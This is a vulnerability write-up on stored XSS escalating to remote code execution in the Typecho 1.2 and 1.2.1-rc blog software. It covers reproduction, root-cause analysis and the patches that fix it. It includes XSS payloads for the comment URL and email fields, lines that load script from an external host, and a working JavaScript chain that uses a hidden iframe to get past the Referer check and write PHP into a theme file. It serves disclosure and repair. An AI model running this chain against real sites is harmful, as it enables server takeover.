Typecho1.2 - 1.2.1-rc front-end comments store xss to rce vulnerability recurrence-analysis-fix
Table of contents
0x2.1 Vulnerability recurrence in version 1.2
0x2.2 1.2.1-rc version vulnerability reappears
0x3.1 1.2 Vulnerability Analysis
0x3.2 1.2.1-rc vulnerability analysis
0x1 affected version
Typecho 1.2
Typecho 1.2.1-rc
0x2 Vulnerability recurrence
0x2.1 Vulnerability recurrence in version 1.2
The vulnerabilities in 1.2.1-rc also exist in this version
1.2.0 download address
https://github.com/typecho/typecho/releases/download/v1.2.0/typecho.zip
After the installation is complete, go to the article comment section and write the poc on the website
http://xxxxxx/"></a><script>alert(1)</script><a/href="#
After the comment is completed, it can be triggered directly at the front article.
Log in as the administrator and go to the backend. Manage->Comments can also be triggered.
0x2.2 1.2.1-rc version vulnerability reappears
1.2.1-rc download address
https://github.com/typecho/typecho/archive/refs/tags/v1.2.1-rc.zip
After installation, go to the comments and fill in your email address.
Then after submission, capture the packet and modify the email address to
"></a><script>alert('1')</script>"@example.com
This comment will not be triggered in the front-end, it needs to be triggered in the background, because the front-end does not output the mailbox
0x2.3 XSS to RCE
The next step is to edit the template file through js to perform rce
/admin/theme-editor.php
However, typecho background operations have Referer verification. If the Referer is not from domain/admin/theme-editor.php, the editing will fail, so there is no way to use js to directly send the package to edit the template because the Referer header will not be sent.
Here, insert an iframe element at the end of the web page through js to open the template editing page, and then send the package through the iframe to realize the package carrying the available Referer. This comment includes that part of the code is implemented using ChatGpt, which is very good.
// 定义一个函数,在网页末尾插入一个iframe元素
function insertIframe() {
// 获取当前页面路径
var urlWithoutDomain = window.location.pathname;
// 判断页面是否为评论管理页面
var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
var tSrc='';
if (hasManageComments){
// 如果是,则将路径修改为用于修改主题文件的页面地址
tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');
}else{
// 如果不是,则直接使用主题文件修改页面地址
tSrc='/admin/theme-editor.php?theme=default&file=404.php';
}
// 定义iframe元素的属性,包括id、src、width、height和onload事件
var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
// 获取网页原始内容
var originalContent = document.body.innerHTML;
// 在网页末尾添加iframe元素
document.body.innerHTML = (originalContent + iframeAttributes);
}
// 定义一个全局变量isSaved,初始值为false
var isSaved = false;
// 定义一个函数,在iframe中写入一段PHP代码并保存
function writeShell() {
// 如果isSaved为false
if (!isSaved) {
// 获取iframe内的内容区域和“保存文件”按钮元素
var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');
// 获取模板文件原始内容
var oldData = content.value;
// 在原始内容前加入一段phpinfo代码
content.value = ('<?php phpinfo(); ?>\n') + oldData;
// 点击“保存文件”按钮
btns[1].click();
// 将isSaved设为true,表示已经完成写入操作
isSaved = true;
}
}
// 调用insertIframe函数,向网页中添加iframe元素和写入PHP代码的事件
insertIframe();
Here you can load js in the comments to use
1.2
http://xxx.xxx.com/"></a><script/src=http://js地址></script><a/href="#
or
1.2.1-rc
"></a><script/src=http://js地址></script>"@example.com
In order to demonstrate here, I executed it directly in the console instead of calling external js.
Then access the template file here or let the article 404 trigger /usr/themes/default/404.php
or/index.php/archives/1/A
0x3 vulnerability analysis
0x3.1 1.2 Vulnerability Analysis
var/Widget/Feedback.php
Line 209 of the file receives the url parameter, which is the URL we fill in. When we fill in the URL, we only trim the blank characters before and after, and no other processing is done.
$comment['author'] = $this->request->filter('trim')->author;
$comment['mail'] = $this->request->filter('trim')->mail;
$comment['url'] = $this->request->filter('trim')->url;
The same is true for line 308
$trackback['url'] = $this->request->filter('trim')->url;
The code for displaying user comments, var/Widget/Base/Comments.php
the xss of the article page and the background comment management page caused by no filtering operation at the output URL at line 271 of the file
public function author(?bool $autoLink = null, ?bool $noFollow = null)
{
$autoLink = (null === $autoLink) ? $this->options->commentsShowUrl : $autoLink;
$noFollow = (null === $noFollow) ? $this->options->commentsUrlNofollow : $noFollow;
if ($this->url && $autoLink) {
echo '<a href="' . $this->url. '"'
. ($noFollow ? ' rel="external nofollow"' : null) . '>' . $this->author . '</a>';
} else {
echo $this->author;
}
}
0x3.2 1.2.1-rc vulnerability analysis
The verify email function on /var/Typecho/Validate.php
line 97
public static function email(string $str): bool
{
return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
}
The filter_var function FILTER_VALIDATE_EMAIL of PHP is used to verify whether a string is a valid email address. This filter does not guarantee security because a valid email address can still contain some malicious code.
reference
Does PHP's FILTER_VALIDATE_EMAIL provide adequate security? - Stack Overflow
You can see that the mailbox containing the xss payload can also be verified as a legitimate mailbox through FILTER_VALIDATE_EMAIL
I checked the verification of typecho1.1 and found that the regular expression used was changed to filter_var only after 1.2, which caused the vulnerability.
public static function email($str)
{
return preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
}
0x4 bug fix
0x4.1 version 1.2 fixed
According to the submission history of the Typecho warehouse, you can view the submission content of b989459 to modify the content of the three files to fix the xss at the website in the comment
var/Widget/Base/Comments.php
var/Widget/Feedback.php
var/Widget/Options.php
fix #1545 and close #1547 · typecho/typecho@b989459 · GitHub
var/Widget/Base/Comments.php
Line 271
echo '<a href="' . $this->url . '"'
change into
echo '<a href="' . Common::safeUrl($this->url) . '"'
This part filters the URL output in the comments Use the safeUrl function to process the illegal strings in the URL
var/Widget/Feedback.php
Lines 209, 308
209
$comment['url'] = $this->request->filter('trim')->url;
change into
$comment['url'] = $this->request->filter('trim', 'url')->url;
308
$trackback['url'] = $this->request->filter('trim')->url;
change into
$trackback['url'] = $this->request->filter('trim', 'url')->url;
This part processes the input
var/Widget/Options.php
Line 85
* @property bool $commentsRequireURL
change into
* @property bool $commentsRequireUrl
Also repair the xss at the mailbox according to the 1.2.1-rc version below
0x4.1 1.2.1-rc version repair
reference
fix #1560 · FaithPatrick/typecho@d9f666f · GitHub
1.2.1-rc can be temporarily modified first /var/Typecho/Validate.php
. Line 99 is modified to
return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
change into
return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
Reissue the package after repair
After the repair is completed, you can add a waf to typecho according to this article to intercept some attacks.